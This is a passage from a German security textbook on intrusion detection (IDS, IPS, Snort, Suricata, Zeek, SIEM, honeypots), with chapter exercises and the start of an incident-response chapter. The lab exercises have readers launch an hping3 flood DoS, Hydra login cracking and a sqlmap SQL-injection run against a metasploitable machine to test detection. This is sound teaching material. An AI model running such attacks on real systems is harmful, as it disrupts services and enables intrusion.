Datenpakete liegen unverschlüsselt vor können von einem NIDS in diesem Fall ausgewertet werden. HIDS werden als Anwendung in einem Host (Server oder Client) ausgeführt und überwachen den Datenverkehr eines einzelnen Systems. Dabei können wesentlich mehr Informationen zur Erkennung eingesetzt werden: Die Datenpakete liegen in der Regel im Host bereits unverschlüsselt vor und zusätzlich können Systemaktivitäten und Logeinträge ausgewertet werden. Auch wenn mit einem HIDS mehr Bedrohungen erkannt werden können, haben HIDS auch Nachteile gegenüber NIDS: Wurde ein System mit einem HIDS von Cyberkriminellen übernommen, kann das HIDS einfach abgeschaltet werden. Damit werden keine Alarme mehr ausgelöst. Da beide Arten Vor- und Nachteile besitzen, werden diese meist kombiniert, was auch als Hybrid-IDS bezeichnet wird. Falls ein IDS eine Bedrohung detektiert, sendet es eine Alarmmeldung an einen Admin oder an eine Leitstelle, um über die Bedrohung zu informieren. Die Admins müssen die Schwere der Bedrohung abschätzen und die zur Abwehr notwendigen Gegenmaßnahmen koordinieren. Schadfunktionen können in einem IDS auf folgende Weise identifiziert werden: 2 Im Leitfaden „IT-Forensik“ des BSI [1] wird ein solches System auch „digitaler Fahrtenschreiber“
genannt. Hier wird der Nutzen für die spätere Aufarbeitung im Falle eines Angriffs in den Vordergrund gestellt.
214
11 Intrusion Detection
• Signaturbasiert: Zuvor eingelesene Angriffssignaturen werden überprüft. • Anomaliebasiert: Auffälliges, von der Norm abweichendes Verhalten wird überprüft. In diesem Fall kommen vermehrt auch Methoden der KI zum Einsatz. • Heuristische Methoden: Auch hier handelt es sich um selbstlernende Verfahren, die bestimmte Annahmen überprüfen. Auch hier kommt vermehrt KI zum Einsatz. • Richtlinienbasiert: Die Einhaltung von Sicherheitsrichtlinien, die zuvor in das IPS hochgeladen wurden, werden überprüft. Für bekannte Bedrohungen können signaturbasierte IDS eingesetzt werden. Hier werden Datenpakete oder Logeinträge mithilfe von Signaturen gesucht, die zuvor berechnet und in einer Datenbank gespeichert wurden. Stimmt diese aus den Datenpaketen berechnete Signatur mit der einer bekannten Bedrohung aus der Signaturdatenbank überein, schlägt das IDS Alarm. Für neue oder unbekannte Angriffe, für die noch keine geeigneten Signaturen in der Signaturdatenbank gespeichert sind, funktioniert dieser rein signaturbasierte Ansatz natürlich nicht. Um auch für solche Angriffe gewappnet zu sein, gibt es IDS, die auf AnomalieErkennung basieren. Dabei werden Methoden des maschinellen Lernens (KI) eingesetzt, um Verhaltensweisen auf dem Netzwerk einzulernen. Ist dieser Schritt abgeschlossen, kann ein entsprechend eingelerntes IDS ungewöhnliche Verhaltensmuster erkennen. Heuristische Methoden beruhen auf vorher definierten, typischen Verhaltensmuster, die Schadsoftware charakterisieren. Diese werden vorab von Experten definiert und ggf. an die besonderen Einsatzbedingungen angepasst. Tauchen diese Muster auf, werden diese vom IDS erkannt und lösen einen Alarm aus. Oft sind diese Systeme auch mit Regeln oder Richtlinien versehen, die bestimmte Verhaltensweisen mit Werten gewichten und diese anschließend aufsummieren. Wird dabei ein Schwellwert überschritten, führt das IDS vorher festgelegte Alarmierungsschritte aus. Ein IDS bietet folglich mehrere Möglichkeiten, Angriffe oder Angriffsmuster frühzeitig zu erkennen und Alarme auszulösen. Manche Systeme können dabei sowohl als eigenständiges System im Netzwerk (NIDS) installiert oder als Softwarekomponente auf einem vorhandenen Server (HIDS) eingerichtet werden. Ein IDS deckt zumindest die folgenden Anforderungen ab: • • • • • • • •
Erkennung von Angriffen im Netzwerkverkehr Prüfung auf Regel-konformes/Policy-konformes Verhalten der Nutzer Überwachung der Funktion und Integrität von Systemen und Komponenten Permanente, umfangreiche und gleichbleibende Systembeobachtung Beweissicherung in Logdateien Erkennung allgemeiner Systemstörungen Bei Bedarf ausgewählte automatische Reaktionen Für alle System- und Überwachungsbereiche entsprechenden Frühwarnfunktionen
11.4
Intrusion Prevention System (IPS)
215
Ein IDS kann dazu dienen, die Schutzwirkung von Firewalls zu verbessern. Es erlaubt die Überwachung des Netzverkehrs, der Systeme und Anwendungen auf Angriffe und Sicherheitsverletzungen und speichert diese in Logdateien. Erkannte Angriffe werden außerdem den Administratoren und Nutzern gemeldet, was hilft, Schäden zu verhindern, zu begrenzen oder zumindest zeitnah zu beheben. Damit der Schaden erkannter Angriffe minimiert wird, muss sichergestellt werden, dass die Alarmmeldungen des IDS zeitnah untersucht und auf diese angemessen reagiert werden. IDS können zwar grundsätzlich auch automatisch Gegenmaßnahmen einleiten, in den meisten Fällen kann auf eine manuelle Prüfung der Auswirkungen des Angriffs aber nicht verzichtet werden. Dies liegt daran, dass IDS einerseits nicht frei von Fehlalarmen sind und andererseits die Auswirkungen des Angriffs nur begrenzt durch das IDS erfasst werden können. Über die eigentliche Erkennung und Meldung von Angriffen hinaus bieten IDS Funktionen zur Auswertung aufgezeichneter Ereignisse. Diese können zur Visualisierung der Angriffslast, zur Ermittlung von Angriffskontexten und ggf. zur Rückverfolgung von Angreifern dienen. In vielen Fällen ermöglicht das Erkennen von Verhaltensweisen, die erst durch den IDS-Einsatzes sichtbar werden, auch die Verbesserung von Systemkonfigurationen. In der Praxis haben signaturbasierte Systeme mit Abstand die größte Verbreitung. Ein Grund dafür ist, dass ihr Verhalten leichter voraussehbar ist. Ein Hauptproblem beim praktischen Einsatz von anomaliebasierten, heuristischen oder regelbasierten IDS ist, dass sie entweder viele falsche Warnungen (falsch positiv) generieren oder Angriffe nicht entdecken (falsch negativ).
11.4
Intrusion Prevention System (IPS)
Intrusion-Prevention-Systeme (IPS) gehen einen Schritt weiter als IDS, denn hier werden Angriffe nicht nur detektiert, sondern aktiv abgewehrt. Wie IDS werden IPS üblicherweise direkt hinter einer Firewall installiert und überwachen aktiv den Datenverkehr auf dem Netzwerk. Ein Intrusion-Prevention-System (IPS) ist im Gegensatz zu einem IDS jedoch in der Lage, Angriffe auf Netzwerke oder Systeme nicht nur zu erkennen, sondern automatisch vorher festgelegte Schutzmaßnahmen einzuleiten. Während bei einem IDS notwendige die Abwehrmaßnahmen manuell durchgeführt werden müssen, können diese bei einem IPS automatisch gestartet werden. Typische Abwehrmaßnahmen die sich automatisieren lassen sind: • Verdächtige Pakete verwerfen, um das Zielgerät vor Schadsoftware zu schützen. • Netzwerkverkehr von einer bestimmten Quelle oder zu einem bestimmten Ziel blockieren. • Netzwerkverbindung unterbrechen oder zurücksetzten.
216
11 Intrusion Detection
• Umkonfigurieren der Firewall mit zusätzlichen Regeln, die ein höheres Sicherheitsniveau implementieren. • Den Netzwerkverkehr unterbinden, bis ein Administrator diesen wieder freigibt und gezielt beobachtet. • Datenpakete können von der Schadfunktion befreit und neu gepackt werden. • Infizierte Anhänge (zum Beispiel im E-Mail-Verkehr), können entfernt oder in Quarantäne verschoben werden. Mit diesen Maßnahmen, die von einem IPS unmittelbar ausgelöst werden, kann die Wahrscheinlichkeit von Sicherheitsvorfällen gegenüber einem IDS weiter verringert werden. Ein IPS besitzt gegenüber einem IDS nicht nur Vorteile, sodass der Einsatz gut geplant werden muss: Bestimmte Datenpakete können blockiert werden, obwohl diese nach Überprüfung durch einen Administrator keinen Schadcode beinhalten (False Positives). Anwender können unter Umständen einen Dienst nicht wie benötigt nutzen, wodurch die Akzeptanz solcher Systeme beeinträchtigt wird. Ein schwach ausgelegtes IPS kann den Durchsatz in einem Netzwerk nachteilig beeinflussen, weil die Datenpakete erst nach Überprüfung weitergeleitet werden dürfen, was insbesondere dann zu Verzögerungen führt, wenn ein Datenpaket mehrere Instanzen eines IPS durchlaufen müssen.
11.5
Beispiele für Open-Source Intrusion-Detection-Systeme
An dieser Stelle sollen einige bekannte Open-Source-IDS und -IPS vorgestellt werden. Die meisten Werkzeuge verfügen sowohl über IDS- als auch über IPS-Funktionen, sodass eine getrennte Betrachtung nicht notwendig ist.
11.5.1 Snort Eines der bekanntesten Open-Source IDS-Werkzeuge ist Snort [2]. Die erste Version von Snort wurde 1998 veröffentlicht. Der Entwickler gründete die Firma Sourcefire, die im Oktober 2013 von der Firma Cisco übernommen wurde. Snort wird deshalb seit der Übernahme durch CISCO in einer kommerziellen und in einer freien Version zur Verfügung gestellt. Snort basiert auf der Analyse von Daten nach Regeln oder Signaturen, die in Regelsätzen zum Download zur Verfügung gestellt werden und die böswillige Aktivitäten im Netz identifizieren. Diese Regeln können verwendet werden, um Pakete zu stoppen oder für eine spätere Analyse umzulenken. Die Erkennungsrate eines IDS oder IPS wie Snort ist nur so gut wie die Qualität der Signaturen, die für die Erkennung von Angriffen zur Verfügung stehen. Für Snort gibt es freie und kommerzielle Anbieter von Bibliotheken für Signaturen. Einige kommerzielle Anbieter dieser Regeln geben diese nach 30 oder 60 Tagen frei, sodass diese überall dort eingespielt
11.5
Beispiele für Open-Source Intrusion-Detection-Systeme
217
werden können, wo Snort eingesetzt wird. Da es sehr viele dieser Anbieter gibt, die teilweise nach denselben Bedrohungen suchen, ist die Zusammenstellung und Auswahl der Signaturbibliotheken nicht unproblematisch. Hier muss ein Kompromiss zwischen Durchsatz und Erkennungsrate gefunden werden. Da sehr häufig neue Angriffsmethoden auf Computer und Netzwerke bekannt werden, sollte die Sammlung der Signaturen (ähnlich wie bei Virenscannern) regelmäßig, am besten täglich, aktualisiert werden.
11.5.2 Suricata Seit einigen Jahren gewinnt mit Suricata [3] ein weiteres Open-Source-IDS an Bedeutung, das in einigen Punkten gegenüber Snort weiterentwickelt wurde. Besonderer Wert wurde dabei auf den Durchsatz gelegt, sodass auch Multi-Gigabit-Datenverkehr überwacht werden kann. Suricata ist eine freie, quelloffene Software, die sowohl als Intrusion-Detection-, IntrusionPrevention-System als auch als Network-Security-Monitor (NSM) eingesetzt werden kann. Bei der Entwicklung wurde besonders auf die Leistungsfähigkeit bei der Erkennung wert gelegt. Suricata ermöglicht die Analyse des Netzwerkverkehrs und die Protokollierung von Datenpaketen in Echtzeit. Es verwendet dabei wie Snort einen Satz von Regeln, der Anomalie-, Protokoll- und Signaturprüfmethoden kombiniert, um potenziell bösartige Aktivitäten zu erkennen. Um kein eigenes ökosystem für Signaturen aufbauen zu müssen, haben die Entwickler von Suricata sichergestellt, dass die Syntax für Regeln weitgehend kompatibel zu der von Snort ist, sodass beide Systeme mit denselben Signaturbibliotheken arbeiten können. Suricata ist nicht nur ein IDS: Es kann bösartige Angriffe in einem Netzwerk sowohl detektieren (IDS-Modus) als auch durch festgelegte Maßnahmen verhindern (IPS-Modus). Suricata kann, wie alle diese Werkzeuge, in einer Kali-Linux-Umgebung installiert und ausgeführt werden. Im Anhang A.4 finden Sie eine Anleitung, wie Suricata auf einem KaliLinux-System installiert und konfiguriert werden kann.
11.5.3 Zeek Eine weitere Alternative ist Zeek [4]. Das ebenfalls quelloffene und freie Werkzeug unterscheidet sich in der Arbeitsweise von Snort und Suricata: Der Datenverkehr wird zunächst in eine Sequenz von Ereignissen (Login, Aufruf einer Webseite, Start eines Datentransfers usw.) konvertiert, die anschließend von einer sehr mächtigen Richtlinienanalyse auf Anomalien hin untersucht werden kann. Mit dieser zustandsbehafteten Analyse können auch verdächtige Sequenzen von Ereignissen als Angriffsversuch detektiert werden, die
218
11 Intrusion Detection
mit Snort oder Suricata unentdeckt bleiben, weil bei diesen IDS nur einzelne Datenpakete betrachtet werden. Da Zeek ursprünglich als Forschungstool für Sicherheitsforscher entwickelt wurde, existiert derzeit lediglich eine kommandozeilenbasierte Nutzeroberfläche, die eine Installation, Bedienung und die Konfiguration erschwert. Für manche Linux-Distributionen muss Zeek aus den Quellen übersetzt werden. Zeek generiert eine ganze Reihe von Protokollen über Netzwerkaktivitäten, auch auf höheren Netzwerkschichten wie die Anwendungsschicht. So können beispielsweise Protokolle von HTTP-Sitzungen mit aufgerufenen URLs und Serverantworten, DNS-Anfragen mit Antworten, SSL-Zertifikate, Schlüsselinhalte von SMTP-Sitzungen überwacht werden. Zusätzlich zu den Protokollen verfügt Zeek über integrierte Funktionen für eine Reihe von Analyse- und Erkennungsaufgaben, darunter das Extrahieren von Dateien aus HTTPSitzungen, das Erkennen von Malware, das Melden anfälliger Softwareversionen im Netzwerk, das Identifizieren beliebter Webanwendungen, das Erkennen von SSH-Brute-Forcing, das Validieren von SSL-Zertifikatsketten und vieles mehr. Zeek schreibt diese Informationen in strukturierte Tabellen oder JSON-Dateien, die sich automatisiert weiterverarbeiten lassen. In vielen Beschreibungen wird Zeek deshalb auch als Netzwerksicherheitsmonitor (NSM) bezeichnet. Darüber hinaus kann Zeek eingesetzt werden, um Leistungsmessungen oder Fehleranalysen im Netzwerk durchzuführen. Im Anhang A.5 finden Sie eine Anleitung, wie Zeek auf einem Kali-Linux-System installiert werden kann.
11.6
Security Information and Event Management (SIEM)
Überwachen IDS und IPS den Datenverkehr in einem Netzwerk und Zugriffe auf Dateien über passende Signaturen, geht das Security Information and Event Management (SIEM) noch einen Schritt weiter, indem es auch die internen Aktivitäten auf Rechnersystemen beobachtet und ungewöhnliches Verhalten meldet. Dabei können z. B. auch Verstöße gegen Compliance-Vorgaben detektiert werden, für die es keine Signaturen gibt, die ein IDS oder IPS verarbeiten könnten. Ein SIEM verarbeitet Logdaten aus einer Vielzahl von Systemen und analysiert diese auf verdächtiges Verhalten. Der Vorteil eines SIEM gegenüber einer manuellen Überwachung besteht darin, dass ein SIEM sehr große Datenmengen verarbeiten kann und dadurch auch Anomalien erkennt, die durch ein klassisches Monitoring eventuell verborgen bleiben würden. Mögliche Datenquellen für ein SIEM sind Logdaten aus den folgenden Komponenten: • Netzwerkkomponenten wie Router, Gateways, WLAN-Accesspoints, Firewalls • Server wie Webserver, Mailserver, Dateiserver usw.
11.7
Honeypots
219
• IT-Sicherheitskomponenten wie IDS und IPS, Virenscanner • Logdaten von Anwendungen Ein SIEM sammelt diese Daten und sucht nach Ereignissen wie fehlgeschlagene Anmeldeversuche, Änderungen der Accounteinstellungen, abgelehnte Dateizugriffe,Transfer von großen Datenmengen, ungewöhnliche VPN-Login-Zeiten, Zugriffsversuche von ungewöhnlichen IP-Adressen, massenhafter Mail-Versand usw. Dabei erkennt ein SIEM Muster, die auf Sequenzen von Aktionen beruhen, die für sich noch keinen Alarm auslösen würden. Alle Ereignisse werden in einer Event-Datenbank gesichert, die später für forensische Untersuchungen verwendet werden kann. Meist werden sicherheitsrelevante Ereignisse in einem Dashboard visualisiert, sodass ein Security Operations Center (SOC) einen Überblick über die Aktivitäten in einem Netzwerk erhält. Dabei hilft ein SIEM, die Unmenge an Logdaten in Echtzeit zu analysieren und Hinsichtlich der Relevanz für ein IT-Sicherheitsereignis zu kategorisieren. Wie bei einem IPS können bei bestimmten Ereignisse auch automatische Abwehrmaßnahmen ausgelöst werden. Neuere Entwicklungen versuchen an dieser Stelle die Methoden der künstlichen Intelligenz einzusetzen, um eine Möglichkeit zu schaffen, auch Zero-Day-Attacken zu erkennen. Künstliche Neuronale Netze (KNN) können mit aggregierten sauberen Logdaten aus der Vergangenheit für den „Normalzustand“ angelernt werden. Ist dieser Lernvorgang abgeschlossen, können diese eingesetzt werden, um aus den Echtzeitdaten Hinweise auf Anomalien erkennen. Aber auch hier bleibt das Rennen zwischen Sicherheitsforschern und Cyberkriminellen spannend: Inzwischen wurde beobachtet, dass Cyberkriminelle gezielt spezielle Ereignisse einstreuen, um die KI in einem SIEM für bestimmte Angriffsmuster zu desensibilisieren, indem diese Aktivitäten als unverdächtig klassifiziert werden.
11.7
Honeypots
Ein Honeypot ist ein Computer in einem Netzwerk, der Angreifer verleiten soll, genau diesen anzugreifen, weil es sich um ein vermeintlich leicht zu kaperndes Ziel handelt. Dabei steht ein Honeypot unter intensiver Beobachtung durch die Administratoren, sodass ein Angriffsversuch sofort registriert wird. Auf diesem Computer befinden sich weder wichtige Daten noch Dienste, die regulär genutzt werden. Für den Angreifer erscheint ein Honeypot als eine Software, ein PC, ein Server oder eine Netzwerkkomponente, die sich nach außen als ein interessantes Angriffsziel darstellt, weil die Patchstände nicht ganz aktuell sind und die Software oder die Konfiguration bekannte Sicherheitslücken enthält. Um ein Honeypot für den Angreifer attraktiv zu machen, ist dieser also bewusst mit bekannten Sicherheitslöchern versehen.
220
11 Intrusion Detection
Die Ziele für den Einsatz von Honeypots sind • • • •
Den Angreifer in die Irre zu führen. Angreifer vom eigentlichen Angriffsziel abzulenken. Angriffsmethoden zu protokollieren und zu analysieren. Hinweise über den Angreifer zu sammeln, um ihn möglicherweise zu identifizieren.
Der Begriff Honeypot („Honigtopf“) stammt aus der Überlegung, dass Bären mit einem Honigtopf sowohl abgelenkt als auch in eine Falle gelockt werden könnten. Sobald ein Angreifer auf einen Honeypot hereinfällt und diesen attackiert, werden alle damit verbundenen Aktionen protokolliert und gegebenenfalls ein Alarm ausgelöst. Man betrachtet Honeypots deshalb auch als Sensoren, die zur Frühwarnung in einem Netzwerk eingesetzt werden können. Ein Honeypot ist so konfiguriert, dass ein normaler Nutzer des Netzwerks niemals versehentlich auf diesen Server kommt. Ein Angreifer, der die Systemlandschaft jedoch nicht im Detail kennt und generisch nach Schwachstellen sucht, wird aber früher oder später auf den Honeypot stoßen und versuchen Sicherheitslücken auszunutzen, um sich Zugriff zu verschaffen. So kann bei Analysen leicht festgestellt werden, ob sich innerhalb eines Netzes ein Angreifer bewegt. Honeypots können sowohl physisch als realer Rechner mit einer eigenen IP-Adresse als auch als virtueller Rechner implementiert werden. Darüber hinaus unterscheidet man „low-interaction“ Honeypots, die nur ein paar wenige Standarddienste (SSH, Telnet, login etc.) anbieten, die für Angreifer gewöhnlich interessant sind. Diese sind durch einen Angreifer leicht zu erkennen, sodass sie sich dort in der Regel nicht lange aufhalten werden. Sie dienen daher eher zur Intrusion Detection. Werden Aktivitäten auf diesem Computer wahrgenommen, handelt es sich höchstwahrscheinlich um einen Angriff. Da der Honeypot alle Aktivitäten mitloggt, kann mehr über die Vorgehensweise des Angreifers erfahren werden. Dagegen sind „high-interaction“ Honeypots Server, die deutlich mehr und komplexere Dienste anbieten. Oft sind diese auch mit vermeintlich interessanten Daten befüllt. Der Einsatzzweck dieser Art von Honeypots besteht darin, den Angreifer möglichst lange im System zu halten, um das Vorgehen insbesondere bei manuellen Angriffen zu protokollieren. Dies ermöglicht es, die Methoden des Angreifers zu analysieren und unter Umständen sogar zu identifizieren, sofern bestimmte Verhaltensmuster auffällig sind. Aus den beobachteten Angriffen können dann Verteidigungsstrategien für das übrige Netzwerk abgeleitet werden. Der Honeypot ist damit ein weiterer Bestandteil des IDS. Das Konzept des Honeypots hat allerdings einen Nachteil: Ein Honeypot, der Cyberkriminelle anlockt, kann als Eintrittspunkt dienen, um weitere Angriffe auf das Netzwerk durchzuführen. Aus diesem Grund muss ein Honeypot von produktiven Systemen getrennt im Netz betrieben werden. Es darf dem Angreifer nicht gelingen, von einem Honeypot aus weitere Angriffe auf produktive Systeme zu starten.
11.8
11.8
Aufgaben & Lösungen zu diesem Kapitel
221
Aufgaben & Lösungen zu diesem Kapitel
11.8.1 Aufgaben 11.1 Sie finden eine Datei mit der Endung „.wcry“. Was ist passiert? 11.2 Sie stellen hohe Netzwerkaktivitäten zu einem ungewöhnlichen Zeitpunkt fest. Wie ist Ihre Vermutung? 11.3 Welche Aufgabe ist kein Bestandteil eines IDS? 1. 2. 3. 4.
Schadsoftware anhand von Signaturen erkennen. Zugriffe auf Dateien erkennen. änderungen in Konfigurationen verhindern. Verstöße gegen Richtlinie detektieren.
11.4 Nennen Sie einige Abwehrmaßnahmen, die mit einem IPS umgesetzt werden können. 11.5 Nennen Sie einige Datenquellen, auf die ein SIEM aufsetzt. 11.6 Was ist die Aufgabe eines Honeypots in einem Netzwerk? 11.7 (P) Installieren Sie das IDS „Suricata“ auf Ihrem Kali-Rechner nach der Anleitung A.4. Starten Sie Suricata mit dem Befehl: $ sudo systemctl start suricata.service
Beobachten Sie die Datei „/var/log/suricata/suricata.log“. Versuchen Sie ein Ziel innerhalb Ihres Netzes mit einem Angriffswerkzeug aktiv anzugreifen und beobachten Sie, ob Suricata den Angriff registriert. 11.8 (P) Starten Sie Zeek über „sudo /usr/local/zeek/bin/zeekctl start“ und generieren Sie ein bisschen IP-Verkehr in Ihrem Netz, indem Sie z. B. eine Webseite in einem Browser öffnen. Anschließend sollten Sie die Datei „conn.log“ im „logs“-Verzeichnis von Zeek finden. 1. Lassen Sie sich die Spalten „id.orig_h“ und „id.resp_h“ aus der Datei „conn.log“ über das Programm „zeek-cut“ anzeigen.
222
11 Intrusion Detection
2. Lassen Sie sich zusätzlich die Spalte mit den Portnummern anzeigen und recherchieren Sie die angefragten Dienste. Gibt es auf Ihrem System Anfragen auf ungewöhnliche Ports? 3. Prüfen Sie mit „nslookup“ oder „whois“, welcher Dienst sich hinter den IP-Adressen verbirgt. 11.9 (P) Starten Sie Zeek über „sudo /usr/local/zeek/bin/zeekctl start“. Starten Sie in Ihrem Netz von Ihrem Kali-Rechner aus mit „hping3 –flood “ eine DoSAttacke auf ein Ziel, das Sie mit Ping erreichen können. Jetzt sollten Sie die Datei „weird.log“ im „logs“-Verzeichnis von Zeek finden. 1. Lassen Sie sich die Datei „weird.log“mit „tail -f“ anzeigen. Stoppen Sie die DoS-Attacke und starten Sie diese wieder neu. Was sehen Sie in der Ausgabe von „weird.log“? 2. Woran macht Zeek fest, dass etwas passiert, das in der Logdatei gespeichert werden soll?
11.8.2 Lösungen 11.1 Das Dateisystem des Rechners auf dem diese Datei gefunden wurde, ist Opfer einer Attacke mit Ransomwaresoftware „WannaCry“. 11.2 Ungewöhnliche Netzwerkaktivitäten sind ein typischer Indicator of Attack (IoA), d. h. einen Indikator für einen gerade laufenden Angriff. 11.3 Antwort 3. 11.4 Die Aufgaben eines Intrusion Prevention Systems sind: • • • • • •
Verdächtige Pakete verwerfen Bestimmten Netzwerkverkehr blockieren Netzwerkverbindung unterbrechen oder zurücksetzten Zusätzliche Regeln in einer Firewall starten Administratoren alarmieren Schadfunktion von Datenpaketen entfernen oder in Quarantäne verschieben
11.5 Datenquellen für ein SIEM sind Protokolldateien von: • • • •
Netzwerkkomponenten Servern IT-Sicherheitskomponenten Anwendungen
Literatur
223
11.6 Ein Honeypot soll Angreifer anlocken und beschäftigen. Er dient als Sensor für Angriffe und als Quelle für forensische Untersuchungen. 11.7 Der Befehl „sudo tail -f /var/log/suricata/fast.log“ zeigt die Logdatei, in der die Angriffsversuche eingetragen werden. Ein Angriff über einen Netzwerk-Login-Cracker wie Hydra auf ein geeignetes Ziel innerhalb Ihres Netzes sollte entsprechende Einträge generieren. Falls das Ziel die virtuelle Maschine „metasploitable“ ist, können Sie auch versuchen, mit „sqlmap“ auf die Seite http://192.168.2.189/mutillidae/index.php?page=login.php mit den Optionen „- -level=2“ und „- -risk=2“ einen automatisierten SQLi-Angriff durchzuführen. Auch so etwas wird von Suricata erkannt. 11.8 Der Befehl für die Anzeige der gesuchten Spalten lautet: $ cat conn.log
| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p
11.9 1. Immer wenn die DoS-Attacke läuft, entstehen Einträge in der Datei „weird.log“ 2. Zeek bemerkt, dass die TCP-Pakete nicht mehr korrekt durchnummeriert sind („TCP_seq_underflow_or_misorder“) $ cat conn.log
| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p
Literatur 1. BSI: Leitfaden „IT-Forensik“. https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/CyberSicherheit/Themen/Leitfaden_IT-Forensik.pdf (2011). Aufgerufen am 11. Mai 2022 2. Cisco: SNORT. https://www.snort.org/ (2022). Aufgerufen am 1. Jul. 2022 3. SURICATA: Observe. Protect. Adapt. https://suricata.io. Aufgerufen am 20.11.2022 4. Zeek: An Open Source Network Security Monitoring Tool. https://zeek.org. Aufgerufen am 20.11.2022
Incident Response
12
Haben sich Angreifer im Netz des Opfers festgesetzt, braucht es eine funktionierende Abwehr. An dieser Stelle wird der Notfallplan gestartet und die Gruppe zur Cyberabwehr formiert, die sich auch CERT (Computer Emergency Response Team) oder CSIRT (Computer Security Incident Response Team) nennt. Ein CERT besteht aus Sicherheitsfachleuten, die bei der Lösung von konkreten Sicherheitsvorfällen unterstützen. Diese Sicherheitsvorfälle können das Bekanntwerden neuer Sicherheitslücken in bestimmten Anwendungen oder Betriebssystemen, neuartige Virenverbreitung, Spam-Wellen durch befallene PCs oder gezielte Angriffe auf die IT-Infrastruktur sein. Das amerikanische NIST [2] hat für diesen Zweck einen Incident-Response-Zyklus (Abb. 12.1) vorgeschlagen, der in etwa den folgenden Stufen entspricht:
Abb. 12.1 NIST Incident-Response-Zyklus
© Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9_12
225
226
12 Incident Response
Die einzelnen Schritte können dabei in etwa wie folgt beschrieben werden: 1. Vorbereitung: Vor allem wenn noch kein konkreter Angriff stattgefunden hat oder noch kein solcher Angriff detektiert wurde, mangelt es oft an der notwendigen Motivation für die Vorbereitung auf ein Ereignis, von dem man nicht weiß, wie es aussieht und ob er überhaupt jemals eintreten wird. Trotzdem ist es notwendig entsprechende Vorbereitungen zu treffen, in der Hoffnung, dass dieser Fall nie eintreten wird. Zu diesen Vorbereitungen gehören die Bereitstellung und Pflege von Kontaktinformationen für beteiligte Personen und Meldestellen, über die Beschaffung geeigneter Kommunikationsmittel bis hin zur Bereitstellung von Räumen mit der notwendigen Ausstattung. 2. Detektion & Analyse: Hat ein Angriff stattgefunden und wurde dieser erkannt, muss zunächst die Art der Bedrohung und das Ausmaß festgestellt werden. Hier gilt es auch Beweise für den Angriff zu sichern, um später forensische Untersuchungen durchführen zu können. Wenn ein Intrusion-Detection-System gut konfiguriert ist, kann es einen Angriff unter Umständen erkennen, noch bevor konkreter Schaden entsteht. In dieser Phase müssen die Schwachstellen analysiert, die Prioritäten der Abwehrmaßnahmen festgelegt, der Vorfall protokolliert sowie beteiligten Personen in Kenntnis gesetzt werden. Hier müssen auch die erforderlichen Meldungen an die zuständigen Behörden (Strafverfolgung, CERT, Datenschutz usw.) erfolgen. 3. Eindämmung, Entfernung & Wiederherstellung: In dieser Phase wird der Angriff zunächst isoliert, um die Ausbreitung zu verhindern. Dabei müssen die Maßnahmen der Art des Angriffs und dem potenziellen Schaden entsprechen. Spezifische Eindämmungspläne für verschiedene Angriffsarten, die im Vorfeld erstellt wurden, helfen angemessene Entscheidungen zu treffen. Hier werden außerdem Beweise für die rechtliche Aufarbeitung gesammelt. In manchen Fällen ist es deshalb zielführend, den Angriff in einem geschützten Umfeld weiterlaufen zu lassen und zu beobachten, um weitere Beweise für die Herkunft der Täter zu sammeln. Sobald der Angriff eingedämmt ist, beginnen die Aufräumarbeiten. Dabei müssen Schadsoftware entfernt und kompromittierte Accounts gelöscht werden. Anschließend werden die Systeme wiederhergestellt und können in Betrieb gehen. Zur Wiederherstellung können Patches, verbesserte Firewallregeln, die Neuinstallation von Malware-Abwehrsoftware, ein Restore aus sauberen Backups oder das Zurücksetzen der Passwörter für alle Accounts der gesamten Einrichtung gehören. 4. Nachbearbeitung: Nun folgt die wichtigste Phase: Nachdem ein Angriff erfolgreich abgewehrt wurde, müssen Maßnahmen ergriffen werden, die ähnliche Angriffe zukünftig verhindern. Zu diesem Zweck muss das Team ein Treffen durchführen, bei dem der gesamte Vorfall analysiert wird. Dabei muss auch festgelegt werden, wie die gewonnenen Beweise archiviert werden und welche zusätzlichen Vorbereitungsmaßnahmen notwendig sind. In dieser Phase muss zudem ein ausführlicher Bericht über alle Aspekte des Vorfalls erstellt werden, der mit weiteren Organisationen geteilt werden kann, damit diese sich ebenfalls auf ähnliche Angriffe vorbereiten können. Diese Erkenntnisse flie-
12.1
IT-Security-Incidents
227
ßen in die Vorbereitungsphase zurück und der Incidence-Response-Zyklus beginnt von vorne. Diese Schritte sind bewusst als Zyklus organisiert, denn jede erfolgreiche Abwehr eines Cyberangriffs liefert Erkenntnisse, die für den nächsten Angriffsversuch sehr wertvoll sein können. Es geht also nicht um ein einmaliges Ereignis, das am Ende final gelöst wird, sondern der Incident-Response-Zyklus beschreibt einen dauerhaften Prozess, bei dem die Analyse eines Vorfalls der Vorbereitung auf das nächste Ereignis dient.
12.1
IT-Security-Incidents
Ein IT-Security-Incident kann aus einem einzelnen Vorfall oder im Zusammenspiel mehrerer Ereignisse abgeleitet werden. Getriggert wird der Security-Incident durch den Hinweis eines Intrusion-Detection-Systems, eine Warnung durch externe Einrichtungen, dem Entdecken eines Indicators of Compromise (IoC) oder ungewöhnlichem Verhalten der IT-Systeme (IoA). Nachdem der IT-Vorfall abgewehrt wurde, lässt sich oft nachweisen, dass mehrere Indikatoren den Security-Incident gemeinsam detektiert haben. Typische Szenarien sind Hinweise, dass Passwörter einer Einrichtung im Internet gehandelt werden, bei Routinewartungen unbekannte Nutzeraccounts aufgetaucht sind oder Beschwerden über Spam-Versand von internen Systemen ausgehen. Fälle die einen IncidentResponse-Prozess aktivieren basieren oft auf solchen meist unklaren Hinweisen. Aus diesen Hinweisen ist der Umfang eines Vorfalls nie mit Sicherheit zu bestimmen, weshalb es nötig wird, für das weitere Vorgehen klar definierte und skalierbare Prozesse im Vorfeld definiert zu haben. Ohne diese vorbereitenden Maßnahmen können viele Fehler gemacht werden: • • • • •
Durch unbedachte Reaktionen werden Hinweise übersehen oder gar gelöscht. Der Umfang des Vorfalls wird falsch eingeschätzt. Es werden zu viele, zu wenige oder die falschen Komponenten außer Betrieb genommen. Der Angriff wird nicht vollständig erkannt. Es wird nicht in der richtigen Weise an den verantwortlichen Stellen informiert.
